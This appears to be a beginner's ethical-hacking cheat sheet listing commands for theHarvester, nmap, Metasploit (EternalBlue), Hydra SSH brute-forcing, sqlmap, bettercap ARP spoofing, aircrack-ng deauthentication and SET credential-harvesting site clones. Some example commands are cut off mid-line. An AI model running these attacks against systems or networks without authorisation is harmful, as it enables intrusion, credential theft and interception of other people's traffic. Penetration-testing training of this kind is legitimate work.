

Basic Ethical Hacking Cheat Sheet

1. Information Gathering (Reconnaissance)

theHarvester

Use: Gathers emails, subdomains, hosts, employee names, open ports, and banners from public sources (Search engines, PGP key servers).

Command: `theHarvester`

Key Options:

- `-d <domain>` : The target domain you want to research (e.g. `jitb.ac.in`).
- `-b <source>` : The data source to search (e.g., `google` , `bing` , `linkedin` , `all`).
- `-l <number>` : Limit the number of search results (default is usually 500).
- `-f <filename>` : Save the output to an HTML and XML file.

Syntax:

```
theHarvester -d [domain] -b [source] -l [limit]
```

Use Case: Finding email addresses for a target organization.

```
theHarvester -d iitb.ac.in -b google -l 500
```

Whois

Use: Queries databases to find the registered users, assignees, or contact details of an Internet resource (Domain name or IP).

Command: `whois`

Key Options:

- Usually run without options for standard queries.
- `-H` : Do not show the legal disclaimers.

Syntax:

```
whois [domain_name]
```

Use Case: Checking who owns a domain and when it expires.

2. Scanning & Enumeration

Nmap (Network Mapper)

Use: The industry standard for network discovery and security auditing. It finds open ports, running services, and operating systems.

Command: `nmap`

Key Options:

- `-sC` : Run default scripts (checks for common vulnerabilities).
- `-sV` : Probe open ports to determine service/version info.
- `-O` : Enable OS detection.
- `-Pn` : Treat all hosts as online (skip host discovery/ping) - useful if firewalls block ping.
- `-p-` : Scan all 65,535 ports (default scans only the top 1000).
- `-A` : Aggressive scan (enables OS detection, version detection, script scanning, and traceroute).

Syntax:

```
sudo nmap [options] [target_IP]
```

Use Case: A full scan to find versions and OS on a target machine.

```
sudo nmap -sC -sV -O 192.168.1.15
```

3. System Hacking & Exploitation

Metasploit Framework

Use: A massive framework for developing, testing, and executing exploit code against a remote target machine.

Command: `msfconsole` (Interactive Shell)

Key Commands (Inside the shell):

- `search [term]` : Search for an exploit (e.g., `search eternalblue`).
- `use [id/path]` : Select an exploit to use.
- `show options` : Display what settings need to be configured.
- `set [OPTION] [VALUE]` : Configure a setting (e.g., `set RHOSTS 10.0.0.5`).
- `check` : Check if the target is vulnerable without attacking.

- `exploit` or `run` : Launch the attack.

Syntax: Interactive workflow.

Use Case: Exploiting a Windows 7 machine vulnerable to EternalBlue.

```
# Inside msfconsole
search eternalblue
use 0
set RHOSTS 192.168.1.20
exploit
```

4. Password Cracking

Hydra

Use: A parallelized login cracker which supports numerous protocols to attack (ssh, ftp, http, etc.).

Command: `hydra`

Key Options:

- `-l <user>` : Login with a single login name.
- `-L <file>` : Load several login names from a file.
- `-P <file>` : Load several passwords from a file (wordlist).
- `-s <port>` : Use a non-default port.
- `-t <number>` : Number of parallel tasks (threads).

Syntax:

```
hydra -l [user] -P [wordlist_path] [protocol]://[target_IP]
```

Use Case: Brute-forcing an SSH server password for the user "admin".

```
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
```

5. Web Hacking

SQLMap

Use: Automates the detection and exploitation of SQL injection flaws and taking over of database servers.

Command: `sqlmap`

Key Options:

- `-u "<URL>"` : Target URL (must contain a parameter like `id=1`).

- `--dbs` : Enumerate DBMS databases.
- `--tables` : Enumerate DBMS database tables.
- `--dump` : Dump DBMS database table entries.
- `--batch` : Never ask for user input, use the default behavior.
- `--cookie="<cookie>"` : Use if the site requires login.

Syntax:

```
sqlmap -u "[URL]" [options]
```

Use Case: Finding database names on a vulnerable website.

```
sqlmap -u "[http://testphp.vulnweb.com/artists.php?artist=1](http://testphp.vulnweb.com
```

Burp Suite

Use: A graphical tool for testing web application security. It acts as a proxy, allowing you to intercept and modify traffic between your browser and the server.

Command: `burpsuite` (Launches GUI)

Key Concepts (Tabs):

- Proxy - > Intercept: Pause a request before it reaches the server to edit it.
- Intruder: Automate customized attacks (like fuzzing).
- Repeater: Manually modify and resend the same request multiple times to test responses.

Syntax: GUI-based operation.

Use Case: Intercepting a login request to try bypassing authentication or changing a price value in a shopping cart.

6. Network Sniffing & MITM

Bettercap

Use: The Swiss Army knife for network attacks and monitoring. It is a modern, powerful replacement for Ettercap.

Command: `sudo bettercap` (Interactive Shell)

Key Commands (Inside the shell):

- `net.probe on` : Actively discovers hosts on the network.
- `net.show` : Shows the list of discovered hosts.
- `set arp.spoof.targets [IP]` : Set the victim IP.
- `arp.spoof on` : Start the Man-in-the-Middle attack.

- `net.sniff on` : Start capturing packets.

Syntax: Interactive workflow.

Use Case: Spoofing a target to capture their traffic.

```
# Inside bettercap
net.probe on
set arp.spoof.targets 192.168.1.15
arp.spoof on
net.sniff on
```

Wireshark

Use: The world's most widely used network protocol analyzer. It lets you see what's happening on your network at a microscopic level.

Command: `wireshark` (Launches GUI)

Key Concepts:

- Interface Selection: Choosing `wlan0` or `eth0` .
- Display Filters (Top Bar):
 - `ip.addr == 192.168.1.5` : Show only traffic for this IP.
 - `http` : Show only website traffic.
 - `http.request.method == "POST"` : Show only data being sent (like logins).

Syntax: GUI-based operation.

Use Case: Analyzing a `.pcap` file or live traffic to find a plaintext password sent over HTTP.

7. Wireless Hacking

Aircrack-ng Suite

Use: A set of tools for auditing wireless networks (cracking Wi-Fi).

Command: Suite of commands (`airmon-ng` , `airodump-ng` , `aireplay-ng` , `aircrack-ng`)

Key Options & Workflow:

1. Start Monitor Mode:
 - `sudo airmon-ng start wlan0`
 - Creates an interface like `wlan0mon` .
2. Scan Networks:
 - `sudo airodump-ng wlan0mon`
 - Find your target BSSID (MAC address) and Channel (CH).
3. Capture Handshake:
 - `sudo airodump-ng -c [channel] --bssid [MAC] -w [filename] wlan0mon`

- Listens specifically to that router.
4. Deauth Attack (Force Handshake):
- `sudo aireplay-ng -0 10 -a [Router_MAC] wlan0mon`
 - Kicks users off briefly so they reconnect and send the handshake.
5. Crack Password:
- `sudo aircrack-ng -w [wordlist] [filename.cap]`

Use Case: Cracking a WPA2 Wi-Fi password.

8. Social Engineering

Social Engineer Toolkit (SET)

Use: An open-source penetration testing framework designed for social engineering.

Command: `sudo setoolkit`

Key Options:

- Menu-driven interface.
- 1: Social-Engineering Attacks.
- 2: Website Attack Vectors.
- 3: Credential Harvester Attack Method.
- 2: Site Cloner (Clones a real site like Gmail to steal logins).

Syntax: Menu-driven.